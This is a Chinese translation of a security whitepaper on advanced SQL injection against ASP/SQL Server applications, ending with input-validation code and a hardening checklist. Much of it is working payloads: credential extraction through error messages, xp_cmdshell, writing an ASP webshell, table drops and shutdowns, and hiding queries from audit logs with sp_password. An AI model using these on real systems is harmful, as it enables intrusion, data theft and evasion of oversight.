Advanced SQL Injection In SQL Server Applications

/*******************************************************
作者:Chris Anley([email protected]
翻譯:黯魂[S.S.T]
注意:轉載請註明來自http://www.m0ther.cn,並懇請指正其中不準確之處:)
另外,譯文我已經做成pdf格式文檔,需要的朋友可以直接下載.
下載地址爲:http://www.m0ther.cn/paper/advanced_sql_injection.pdf
********************************************************/

基於SQL server應用的高級SQL注入技術

目錄
[摘要].....................................................................3
[介紹].....................................................................3
[利用錯誤消息獲得信息].....................................................7
[平衡深層訪問].............................................................12
[xp_cmdshell]............................................................12
[xp_regread].............................................................13
[其他擴展存儲過程].......................................................13
[連接的服務器]...........................................................14
[自定義擴展存儲過程].....................................................14
[導入文本文件到表中].....................................................15
[使用BCP創建文本文件]....................................................15
[基於SQL-server的ActiveX自動控制腳本]....................................15
[存儲過程].................................................................17
[高級SQL注入]..............................................................18
[不帶引號的字符串].......................................................18
[二次SQL注入]............................................................18
[長度限制]...............................................................20
[繞過檢查]...............................................................21
[防禦].....................................................................21
[輸入確認]...............................................................21
[SQL服務器保障].........................................................23
[參考].....................................................................24
附錄A--’SQLCrack’..........................................................25
(sqlcrack.sql)...........................................................25

[摘要]

這篇文檔主要討論普通SQL注入技術的細節,比如應用在流行的微軟IIS/ASP/SQL-server平臺。它研究的是各種不同的能夠使SQL注入到應用程序,數據確認地址以及數據庫鎖定發佈等與這類***有關的方法。

此文主要適合以下職業人羣閱讀:1.與數據庫打交道的網絡應用程序開發者 2.具有網絡應用程序審覈職責的安全專家。

[介紹]

結構化查詢語言(SQL)是一種用來與相關數據庫組合使用的文本化語言.有許多種類的SQL;大多數目前普遍使用的都不嚴格遵循於SQL-92,以及最近的ANSI標準.典型的SQL執行單元是’查詢(Query)’,即代表性地返回一個單獨的’結果設置(result set)’的聲明集合.SQL語句可以修改數據庫的結構(使用數據定義語言聲明,即"DDL"),操作數據庫的內容(使用數據操作語言聲明,即"DML").在本文中,我們將明確地討論Transact-SQL,被微軟SQL-server所使用的SQL語言.

SQL注入通常發生在當一個***者能夠插入一連串的SQL語句到一個被輸入到應用程序中的查詢語句中時.

一個典型的SQL語句看上去應該是這樣的:
select id, forename, surname from authors

這個語句將從arthors表中查到id,forename,surname這些所有行的內容.’result set’對"authors"能夠進行像這樣的明確限制:
select id, forename, surname from authors where forename = ’john’ and surname = ’smith’

這兒需要注意的一個關鍵點是,字面上的’john’和’smith’被單引號所隔開.但恰好’forename’和’surname’這2行又被用戶提供的輸入所匯聚到一起.***者可以通過輸入自己構造的值來注入到SQL查詢語句中:
Forename: jo’hn
Surname: smith

查詢字符串就變成了這樣:
select id, forename, surname from authors where forename = ’jo’hn’ and surname = ’smith’

當數據庫嘗試運行查詢語句時,很可能返回一個錯誤:
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near ’hn’.

出錯的原因是插入的單引號字符中斷了單引號隔開的數據.然後數據庫會試着執行’hn’並且失敗.如果***者刻意輸入這樣的語句:
Forename: jo’; drop table authors--
Surname:

authors表將被刪除,至於爲什麼我們等會告訴大家。

看上去好像只要從輸入中過濾掉單引號,或者通過一些方法避開它就能處理這個問題了。思路是正確的,然而用這個方法解決的時候有幾處難點,第一,並非所有的用戶輸入都是這種形式的字符串。假設用戶的輸入能夠通過id選擇一個author(隨便猜測一個id號),例如,查詢可能是這樣的:
select id, forename, surname from authors where id=1234

在這種情況下,***者能在數字輸入的末尾添加SQL語句.在其他SQL方法中,會使用不同的分隔符;比方說在Microsoft Jet DBMS engine中,日期會被’#’隔開.第二,剛開始簡單地解決它時就避開單引號好像沒有必要.接下來我們會說明緣由.

我們用一個ASP登錄頁面的例子來在更深層次的細節上說明這些難點,這個ASP頁面會訪問一個SQL-server數據庫,並審覈虛構應用程序的訪問.

下面是處理用戶鍵入的用戶名及密碼的form頁面的代碼:

<HTML>
<HEAD>
<TITLE>登錄頁面</TITLE>
</HEAD>
<BODY bgcolor=’000000’ text=’cccccc’>
<FONT Face=’tahoma’ color=’cccccc’>
<CENTER><H1>Login</H1>
<FORM action=’process_login.asp’ method=post>
<TABLE>
<TR><TD>用戶名:</TD><TD><INPUT type=text name=username size=100%
width=100></INPUT></TD></TR>
<TR><TD>密碼:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value=’Submit’> <INPUT type=reset value=’Reset’>
</FORM>
</FONT>
</BODY>
</HTML>

這是處理登錄的頁面process_login.asp的代碼:

<HTML>
<BODY bgcolor=’000000’ text=’ffffff’>
<FONT Face=’tahoma’ color=’ffffff’>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = ’" + username + "’ and password = ’" + password + "’";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%>
<FONT Face=’tahoma’ color=’cc0000’>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face=’tahoma’ color=’00cc00’>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>

關鍵點是,頁面process_login.asp創建查詢字符串的部分:
var sql = "select * from users where username = ’" + username + "’ and password = ’" + password + "’";如果用戶構造如下的語句:
Username: ’; drop table users--
Password:

users表將被刪除,從而阻止所有用戶訪問.’--’在Transact-SQL裏表示單行註釋,’;’標誌着一個查詢語句的結束與另一句的開始.用戶名這一行末尾的’--’對於爲了防止異常終止情況發生而構造的特殊語句而言是必需的.

這下***者便可以使用任何一個他們知道的用戶名登錄了,他們通常會使用如下的輸入:
Username: admin’--

這個***者能夠用如下的輸入,以users表裏第一個用戶的身份登錄進去:
Username: ’ or 1=1--

然後...奇怪的是,***者可以用一個完全虛構的用戶登錄進去:
Username: ’ union select 1, ’fictional_user’, ’some_password’, 1--

他能夠正常登錄的原因是,應用程序認爲***者指定的constant行是從數據庫中重新找回的記錄的一部分.

[利用錯誤消息獲得信息]

這個方法是David Litchfield在一次***測試的過程中首次發現的;之後他便寫了一篇關於描述該方法的文檔,後來的作者都參考了它。文檔論述了潛在錯誤消息的機制,使讀者能夠完全理解,並且潛在地引起了他們的變化。

爲了操作數據庫中的數據,***者往往需要確定數據庫以及表的結構。比如說,users表可以用以下的命令創建:
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
並且已有如下的用戶插入:
insert into users values( 0, ’admin’, ’r00tr0x!’, 0xffff )
insert into users values( 0, ’guest’, ’guest’, 0x0000 )
insert into users values( 0, ’chris’, ’password’, 0x00ff )
insert into users values( 0, ’fred’, ’sesame’, 0x00ff )

讓我們看看***者想爲他自己插入一個用戶。如若不清楚users表的結構,他不大可能會成功。即使他很幸運,但仍然不清楚’privs’字段的意義,他可能插入一個’l’,得到一個低權限的用戶。

對***者而言,幸運的是,如果應用程序返回了錯誤消息(ASP的默認屬性),那麼他便可以弄明白數據庫的整個結構,從而能夠獲得任何能夠被ASP應用程序連接數據庫的帳戶所能讀取的信息。

(下面的例子使用了提供的樣本數據庫和ASP腳本來說明該技巧是如何利用的)

首先,***者試圖通過查詢語句確定表名和列名,爲此,他使用select聲明的子句having:
Username: ’ having 1=1--

這將導致如下的錯誤:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ’users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35

現在***者知道了表名和第一列的名字,他還能夠通過group by子句繼續查詢剩下的列名:
Username: ’ group by users.id having 1=1--

(同樣導致了錯誤...)

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ’users.username’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35

最後***者到達了username後面:
’ group by users.id, users.username, users.password, users.privs having 1=1--

...沒有再出現錯誤,功能上等價於:
select * from users where username = ’’

所以現在***者知道了只有users表,以及按照如下次序排列的列’id, username, password, privs’.

這對他確定每列值的類型很有用,不過還能使用"類型轉換"錯誤消息來達到同樣的目的:
Username: ’ union select sum(username) from users--

上面的語句會讓SQL-server服務器在確認username類型是否等於sum之前嘗試應用sum子句.服務器返回如下結果:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35

告訴了我們username的類型是varchar.另一方面,如果我們嘗試計算數字類型的sum值,錯誤消息將告訴我們這2行的數字域不匹配:
Username: ’ union select sum(id) from users--

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35

使用這個技巧,我們可以大致確定數據庫中任何表,任何列的類型.

這就使得***者可以創建一個構造完美的insert查詢,像這樣:
Username: ’; insert into users values( 666, ’attacker’, ’foobar’, 0xffff )--

儘管如此,思維的拓展並沒有終止.***者能利用任何錯誤消息來暴露環境,或者數據庫的信息.

標準錯誤消息的格式化字符串列表能在運行之後獲得:
select * from master..sysmessages

檢測這個列表後會暴露一些有趣的信息.

一個特別有用的信息涉及類型轉換.如果你嘗試把一個字符串轉換成一個整型,字符串的全部內容會通過錯誤消息返回.在前面的登錄頁面例子中,username後面會返回詳細而精確的SQL-server版本信息,以及上面運行着的服務器操作系統.
Username: ’ union select @@version,1,1,1--

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ’ to a column of data type int.
/process_login.asp, line 35

以上的語句嘗試把內置常量’@@version’轉換爲一個整型,因爲users表的第一列就是整型.

這個技巧可以用來獲取數據庫中任何表的任何值.從***者對用戶名和密碼感興趣那一刻開始,他們就極有可能從users表中獲取用戶名的值:
Username: ’ union select min(username),1,1,1 from users where username > ’a’--

以上語句選取username列中比a大的最小值,並嘗試把它轉換成一個整型:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’admin’ to a column of data type int.
/process_login.asp, line 35

現在***者知道admin用戶名存在,他將反覆構造語句查詢出其他每個用戶名:
Username: ’ union select min(username),1,1,1 from users where username > ’admin’--

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’chris’ to a column of data type int.
/process_login.asp, line 35

一旦***者確定了用戶名,他便會馬上開始蒐集密碼:
Username: ’ union select password,1,1,1 from users where username = ’admin’--

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’r00tr0x!’ to a column of data type int.
/process_login.asp, line 35

一個更高超的技巧是連接所有的用戶名和密碼到一個單獨的字符串中,然後嘗試把它們轉換爲整型.這說明了另一點:Transact-SQL聲明能在同一行連貫起來而不改變含義.下面的腳本將連接這些值:

begin declare @ret varchar(8000)
set @ret=’:’
select @ret=@ret+’ ’+username+’/’+password from users where username>@ret
select @ret as ret into foo
end
***者使用這個用戶名登錄:
Username: ’; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ’+username+’/’+password from users where

username>@ret select @ret as ret into foo end--

創建了包含ret列的表foo,並且把我們的字符串放了進去.通常一個低權限的用戶都能夠在數據庫中創建表.然後***者會向先前那樣從表中選取出字符串:
Username: ’ union select ret,1,1,1 from foo--

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’: admin/r00tr0x! guest/guest
chris/password fred/sesame’ to a column of data type int.
/process_login.asp, line 35

然後刪除掉該表,以清理痕跡.
Username: ’; drop table foo--

以上這些例子僅僅只是對該技巧的淺嘗輒止.不必說,如果***者能從數據庫中獲得足夠的錯誤信息,他們的工作將變得無限簡單.

[平衡深層訪問]
一旦***者控制了數據庫,則很有可能通過訪問權獲得網絡的更深層次的控制權.可以通過以下幾種方法達到目的:

1.在數據庫服務器上以SQL-server用戶的身份,使用xp_cmdshell擴展存儲過程執行命令.
2.使用xp_regread擴展存儲過程讀取註冊表鍵值,並潛在的包含了SAM文件(如果SQL-server以本地系統帳戶運行).
3.使用其他擴展存儲過程影響服務器.
4.在與其連接的服務器上執行查詢操作.
5.創建自定義擴展存儲過程,使得能夠在SQL-server進程中運行exploit代碼.
6.使用bulk insert聲明讀取服務器上的任何文件.
7.使用bcp在服務器上創建任意文本文件.
8.使用sp_OACreate, sp_OAMethod和sp_OAGetProperty這些系統存儲過程來創建ActiveX應用程序,使其能完成ASP腳本能完成的任何事.

以上這些僅僅是再普通不過的***者的一般步驟;很有可能***者在發現這些技巧的同時已向其他人提及.我們以收集明顯相關的SQL-server***的方法來公開這些技術,是爲了告訴大傢什麼是可能的,並給予你注入SQL的能力.我們將一一處理以上要點:

xp_cmdshell

擴展存儲過程本質上是被編譯成了動態鏈接庫(DLLs),並使用SQL-server的標準來運行輸出函數.它們允許SQL-server應用程序訪問全部的C/C++函數,並且是極端有用的特性.許多擴展存儲過程都建立在SQL-server基礎之上,並完成不同的功能,像發送郵件,以及與註冊表相關聯等.

xp_cmdshell是一種允許任意命令行執行的基礎擴展存儲過程.例如:
exec master..xp_cmdshell ’dir’將獲得SQL-Server進程的當前工作目錄的目錄列表.
exec master..xp_cmdshell ’net1 user’將提供當前機器上所有用戶的列表.
自從SQL-Server能夠以任意的當前系統帳戶,或者域帳戶正常運行開始,***者便能做相當程度的破壞.

xp_regread

另一些有用的擴展存儲過程是xp_regXXX函數:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

下面是以上一些函數的用例:
exec xp_regread HKEY_LOCAL_MACHINE, ’SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ’nullsessionshares’
(這就決定了什麼樣的nullsessionshares在服務器上是可用的)

exec xp_regenumvalues HKEY_LOCAL_MACHINE, ’SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
(這將顯示服務器上配置的所有SNMP組,有了這些信息,***者便可以修改網絡中相同區域的網絡配置)

很容易想像***者如何使用這些功能讀取SAM文件信息,改變系統服務配置,以至於機器下次啓動時,登錄的任何用戶都能執行任何命令.

其他擴展存儲過程

xp_servicecontrol過程允許用戶開始,停止,暫停和繼續某種服務:
exec master..xp_servicecontrol ’start’, ’schedule’
exec master..xp_servicecontrol ’start’, ’server’

下面是一些其他有用的擴展存儲過程的一個表:
------------------------------------------------------------------------------------------------------
xp_availablemedia 顯示機器上的可用驅動.
xp_dirtree 允許獲得目錄樹.
xp_enumdsn 列舉服務器上的ODBC數據源.
xp_loginconfig 顯示服務器安全模式的信息.
xp_makecab 允許用戶在服務器上創建壓縮文檔(文件)或服務器支持的任何文件.
xp_ntsec_enumdomains 列舉服務器能訪問的域.
xp_terminate_process 終止一個進程,並給出PID.
------------------------------------------------------------------------------------------------------

連接的服務器

SQL服務器提供一種允許服務器被連接的機制,也就是說,允許在一個數據庫服務器上進行查詢,而操作另一個的數據.這些鏈接被存儲在master..sysservers表中,如果一個連接着的服務器被設置成使用sp_addlinkedsrvlogin過程,那麼它不用登錄也可以訪問.’openquery’功能允許在連接着的服務器上執行查詢操作.

自定義擴展存儲過程

API擴展存儲過程是簡單而又標準的其中之一,而且它的任務便是能夠創建一個攜帶惡意代碼的DLL擴展存儲過程.有幾種通過命令行把DLL上傳到SQL服務器的方法,還有其他方法,包括各種自動化的連接機制.比如HTTP下載,FTP.

一旦DLL文件放在了SQL服務器能訪問到的機器上,不需要SQL服務器本身,***者就能通過命令行添加擴展存儲過程(這樣的話,我們的惡意存儲過程便成爲了能輸出服務器文件系統的一個小型***WEB服務器).sp_addextendedproc ’xp_webserver’, ’c:\temp\xp_foo.dll’
接着,擴展存儲過程將被正常調用而得以運行exec xp_webserver
一旦存儲過程運行,它將會像這樣被刪除:

sp_dropextendedproc ’xp_webserver’

[導入文本文件到表中]

使用bulk insert聲明,將有可能插入一個文本文件到一個臨時表中.
像這樣創建一個簡單的臨時表:

create table foo( line varchar(8000) )

然後運行一個bulk insert從文件中插入數據:

bulk insert foo from ’c:\inetpub\wwwroot\process_login.asp’

使用任何前面所介紹的錯誤消息技巧,數據都能被找回.或者使用一個union查詢,把文本文件中的數據與應用程序正常返回的數據綜合到一起.這對於獲得存儲在數據庫服務器上的腳本源代碼,甚至於ASP源文件都很有用.

[使用BCP創建文本文件]

對bulk insert而言,使用opposite技巧創建任意文本文件相當容易.不幸的是,這需要一個命令行工具,’bcp’,’bulk copy program’.自從bcp能從SQL服務器進程之外訪問數據庫,它就開始需要登錄了.而自從***者能隨意創建,或利用integrated安全模式開始,如果服務器被設置成能夠使用它,那就不難獲得了.

命令行格式像下面這樣:

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
參數S代表運行查詢命令的服務器,在foobar中,U是用戶名,P是密碼.

[基於SQL-server的ActiveX自動控制腳本]

SQL服務器提供的幾種內置擴展存儲過程允許ActiveX自動控制腳本的創建.這些(自動控制)腳本在功能上與window主機上運行的(腳本)幾乎一樣,或者說ASP腳本(典型的由VBSCRIPT或JAVASCRIPT所編寫),並創建與之交互的自動控制對象.這種情況下,用Transact-SQL語言所寫的自動控制腳本要比ASP腳本,或者WSH腳本強大得多.下面的一些例子將會說明它:

1)這個例子使用wscript.shell對象創建一個記事本實例(當然,可以在任何命令行下完成):

-- wscript.shell example
declare @o int
exec sp_oacreate ’wscript.shell’, @o out
exec sp_oamethod @o, ’run’, NULL, ’notepad.exe’

它將使用如下的指定用戶名在例子中得以執行(所有命令必須在一行中):

Username: ’; declare @o int exec sp_oacreate ’wscript.shell’, @o out exec sp_oamethod @o, ’run’, NULL, ’notepad.exe’--

2)這個例子使用scripting.filesystemobject對象讀取一個已知的文本文件:

-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’opentextfile’, @f out, ’c:\boot.ini’, 1
exec @ret = sp_oamethod @f, ’readline’, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, ’readline’, @line out
end

3)這個例子創建一個能把運行的任何命令傳到本身查詢字符串中的ASP腳本:

-- scripting.filesystemobject example - create a ’run this’ .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’createtextfile’, @f out, ’c:\inetpub\wwwroot\foo.asp’, 1
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>’它很重要乃至於你可能需要做下筆記:當它運行在Windows NT4, IIS4平臺時,所執行的命令會以系統帳戶權限運行.但在IIS5上,它們將以低權限的IWAM_xxx帳戶身份運行.

4)這個(有點欺騙性的)例子會說明這個技巧的靈活性,它使用speech.voicetext對象促使SQL服務器發出聲音:

declare @o int, @ret int
exec sp_oacreate ’speech.voicetext’, @o out
exec sp_oamethod @o, ’register’, NULL, ’foo’, ’bar’
exec sp_oasetproperty @o, ’speed’, 150
exec sp_oamethod @o, ’speak’, NULL, ’你的所有服務器都屬於我們’, 528
waitfor delay ’00:00:05’

這將使用我們指定的用戶名在假定的例子中運行(注意:這個例子不僅僅是在注入一個腳本,同時也以admin用戶名登錄進了應用程序):

Username: admin’; declare @o int, @ret int exec sp_oacreate ’speech.voicetext’, @o out exec sp_oamethod @o, ’register’, NULL,

’foo’, ’bar’ exec sp_oasetproperty @o, ’speed’, 150 exec sp_oamethod @o, ’speak’, NULL, ’你的所有服務器都屬於我們’, 528

waitfor delay ’00:00:05’--

[存儲過程]

傳統思想認爲,如果一個ASP應用程序在數據庫中使用存儲過程,那麼SQL注入將不會發生.目前看來,只有一半正確,它取決於ASP腳本調用存儲過程的方式.

本質上,如果一個查詢參數得以運行,並且用戶提供的參數被安全傳給了查詢語句,SQL注入就絕對不可能.但是,如果***者盡全力改變運行着的查詢字符串中的非數據部分,那他們就極有可能控制數據庫.

一些好的規則如下:
*如果ASP腳本創建的SQL查詢字符串被服務器接受,那就存在SQL注入的威脅.即便使用了存儲過程.
*如果ASP腳本使用一個過程對象隱藏存儲過程參數的作用(比如說ADO對象,用在參數收集上),那一般就安全了,儘管它取決於對象的執行.

雖然新的***技巧始終在被發現,很明顯,最好的做法仍然是驗證所有用戶的輸入.

爲了說明存儲過程查詢注入點,執行如下的SQL查詢字符串:

sp_who ’1’ select * from sysobjects
或者
sp_who ’1’; select * from sysobjects

隨便哪一個,在存儲過程之後,附加的查詢都能被執行.

[高級SQL注入]

一般說來,網絡應用程序會"忘掉"檢查單引號,另外在用戶提交的數據當中同樣也是,比如長度限制.

這部分,我們討論一些幫助***者繞過針對SQL注入的明顯防禦措施的技巧,以及如何躲避日誌記錄.

[不帶引號的字符串]

有時候,程序開發者已經設法保護應用程序不被單引號繞過,他們可能會使用VBSCRIPT中的replace函數或者與之類似的:

function escape( input )
input = replace(input, "’", "’’")
escape = input
end function

無可否認,這將阻止我們的示例站點中即將發生的所有***,並且排除’;’(分號)也會幫很大的忙.但是,在一個大型應用程序中,用戶輸入的一些值很有可能是數字型的.這些值將不需要"劃界".

如果***者試圖創建一個不帶引號的字符串,他們會使用char函數,例如:

insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)

就是一個不包含引號的語句,將會插入字符串到一個表中.

當然,如果***者不介意使用一個數字型的用戶名和密碼,以下語句同樣能夠做到:

insert into users values( 667,
123,
123,
0xffff)

自SQL-server會自動把整型轉換爲varchar開始,類型轉換便是必然的.

[二次SQL注入]

即使一個應用程序能防止單引號注入,但是隻要數據庫中的數據會被應用程序再次使用,***者就仍然能夠注入.

比如說,***者在一個應用程序中註冊時,創建一個用戶名:

Username: admin’--
Password: password

應用程序正確地躲避了單引號,導致了像這樣的一個"插入"語句:

insert into users values( 123, ’admin’’--’, ’password’, 0xffff )

下面讓我們說說應用程序如何允許一個用戶修改他的密碼.ASP腳本代碼在用戶設置新密碼前會先確定其是否擁有正確的原密碼,代碼看上去可能是這樣的:

username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = ’" + username + "’ and password = ’" + oldpassword + "’";
rso.open( sql, cn );
if (rso.EOF)
{
…而設置新密碼的語句像這樣:

sql = "update users set password = ’" + newpassword + "’ where username = ’" + rso("username") + "’"rso("username")是從登錄語句中重新得到的用戶名.

由於給定的用戶名是admin’--,將會生成如下的語句:

update users set password = ’password’ where username = ’admin’--’

所以通過註冊一個用戶名爲admin’--的帳號,***者便能設置他們選定的admin的密碼.

這是一個危險的問題,目前在絕大多數的應用程序中都使用的是替換數據.最好的解決方法是過濾不良輸入,而不是替換.有時候這會導致問題的出現,但是,已知的不良輸入很難確切的知道,比如在帶省略號的名字中.

從安全角度來看,最好的解決辦法就是不允許單引號執行.如果這無法接受,它們將不得不被漏掉而得以執行.在這種情況下,最好要確保所有進入到一個SQL查詢字符串中的數據(包括數據庫中包含的數據)都被正確地提交.

假如***者不使用應用程序都能隨意地插入數據到系統中,那麼這種形式的***也成爲了可能;應用程序可能會有一個email接口,再或者***者盡全力對數據庫進行控制時,錯誤日誌將會被存儲.覈實所有的數據總是最好的,包括已經存在於系統中的數據,確認函數相對於調用應該要簡單得多.例如:

if ( not isValid( "email", request.querystring("email") ) then
response.end

或者一些類似的...

[長度限制]

有時輸入數據的長度會受到限制,以使***難度增加.當它阻止一些類型的***時,在很小數目的SQL中卻有可能造成極大的損失.例如以下的用戶名:

Username: ’;shutdown--

將關閉SQL服務器實例,僅僅使用了12個字符.另一個例子是:

drop table <tablename>
如果在字符串中替換單引號後又增加了長度限制,另一個問題將會發生.假設用戶名和密碼都限制爲16個字符,如下的連在一起的用戶名和密碼仍然能夠執行上面所說的shutdown命令:

Username: aaaaaaaaaaaaaaa’
Password: ’; shutdown--

原因是,應用程序嘗試在用戶名的末尾替換掉單引號,但是字符串緊接着將會將其縮減到16個字符,刪除掉替換的單引號.最終結果是密碼中會包含一些SQL命令,如果它從一個單引號開始,則查詢命令看上去像這樣:

select * from users where username=’aaaaaaaaaaaaaaa’’ and password=’’’; shutdown--

很有效果,查詢語句中的用戶名變成了aaaaaaaaaaaaaaa’ and password=’

因此SQL運行了.

[繞過檢查]

SQL服務器在sp_traceXXX函數族中包含一個強大的檢查接口,允許數據庫中不同事件的日誌記錄.在這裏,感興趣的細節是T-SQL事件,它記錄了所有的SQL語句聲明.如果這種級別的檢測被開啓,我們所討論的所有SQL注入查詢都將會被記錄,並且一個有經驗的數據庫管理員會清楚地明白髮生了什麼.不幸的是,如果***者添加字符串sp_password到一個Transact-SQL語句中,檢測機制則會記錄成如下這樣:

-- ’sp_password’ was found in the text of this event.
-- The text has been replaced with this comment for security reasons.

這種情況發生在所有的T-SQL記錄中,即使’sp_password出現在一個註釋中.這個過程本來是打算隱藏用戶的純文本密碼,以通過sp_password,但對於***者而言卻相當有用.

所以,爲了隱藏所有的注入,***者需要簡單添加sp_password在"--"註釋符後面:

Username: admin’--sp_password

事實上,一些已經運行的SQL將被記錄,但查詢字符串本身卻往往不存在於日誌記錄中.

[防禦]

這部分討論一些針對已描述***手段的防禦對策.有輸入確認,一些示例代碼,最後還有SQL服務器保障.

[輸入確認]

輸入確認是一個複雜的主題,然而極具代表性的是:自從過多的確認會導致一個應用程序的部分中斷開始,在開發項目時便只給予了極少的關注,並且輸入確認問題很難解決.

下面是附帶示例代碼的對於輸入確認的一個簡短討論,示例代碼被設計成不會被應用程序直接使用,但它們能很好地說明不同的策略.

不同的相近數據確認會按照如下分類:
1)嘗試修改(massage)數據以使之有效.
2)拒絕(過濾)已知惡意輸入.
3)僅接受已知的非惡意輸入.

解決方案(1)存在許多概念上的問題:首先,程序編寫者沒有必要知道是什麼導致了無效數據(bad data),因爲新的無效(有害)數據在不斷被發現;其次,修改(massage)數據會改變它的長度,這將導致以上描述的問題.最後,存在第二階段影響的問題,包括系統中數據的重用.

解決方案(2)遭受一些與(1)相同的結果.隨着新的***技巧的發展,已知的惡意輸入隨時都在改變.

解決方案(3)可能是三個中相對較好的,但它很難實現.

或許從一個安全角度來看,最好的方法是綜合(2)和(3):只允許非惡意輸入(good input),然後在輸入中搜索已知的惡意數據(bad data).

一個綜合這2種方法的很好例子是:帶連接符的姓的問題.

Quentin Bassington-Bassington

我們必須承認連字符屬於非惡意輸入(good input),但我們也知道"--"對SQL服務器的重要性.

如果我們使用一個已知惡意輸入的過濾程序檢測"--","select"和"union",並刪除單引號.***者仍然可能構造如下的輸入:

uni’on sel’ect @@version-’-

自從已知惡意輸入過濾程序會刪除單引號開始應用,***者就能簡單添加單引號在字符串中繞過檢測.

下面是一些檢測代碼的例子:

方法1--替換單引號:

function escape( input )
input = replace(input, "’", "’’")
escape = input
end function

方法2--過濾(拒絕)惡意輸入:

function validate_string( input )
known_bad = array( "select", "insert", "update", "delete", "drop", "--", "’" )
validate_string = true
for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then
validate_string = false
exit function
end if
next
end function

方法3--只允許非惡意輸入:

function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

[SQL服務器保障]

最重要的一點是保障SQL服務器的安全,下面是當創建一臺SQL服務器時需要仔細做好的簡短列表:

1.確定服務器的連接方法
a.覈實只有你正在使用的網絡庫文件被激活,使用Network utility.

2.覈實存在的帳號
a.創建應用程序使用的低權限的帳號.
b.刪除不必要的帳號
c.確保所有的帳號都有強壯的密碼,可以運行一個帳號審覈腳本.

3.覈實存在的對象
a.許多擴展存儲過程都能被安全地刪除.如果這個已經完成,那就考慮刪除包含擴展存儲過程代碼的dll文件.
b.刪掉所有的示例數據庫,比如northwind和pubs.

4.覈實什麼帳號能訪問什麼對象
a.應用程序用來訪問數據庫的帳號應該只有最小許可權限去訪問它所需要使用的對象.

5.覈實服務器所打補丁程度
a.有幾種緩衝區溢出[3],[4]和格式化字符串[5]***針對SQL服務器(主要被本人發現),還有其他幾種***則由安全補丁帶來(可能更多的存在於

補丁中).

6.覈實什麼將會被日誌記錄.

一個極好的保障措施在www.sqlsecurity.com[2]上被提供.

[參考]

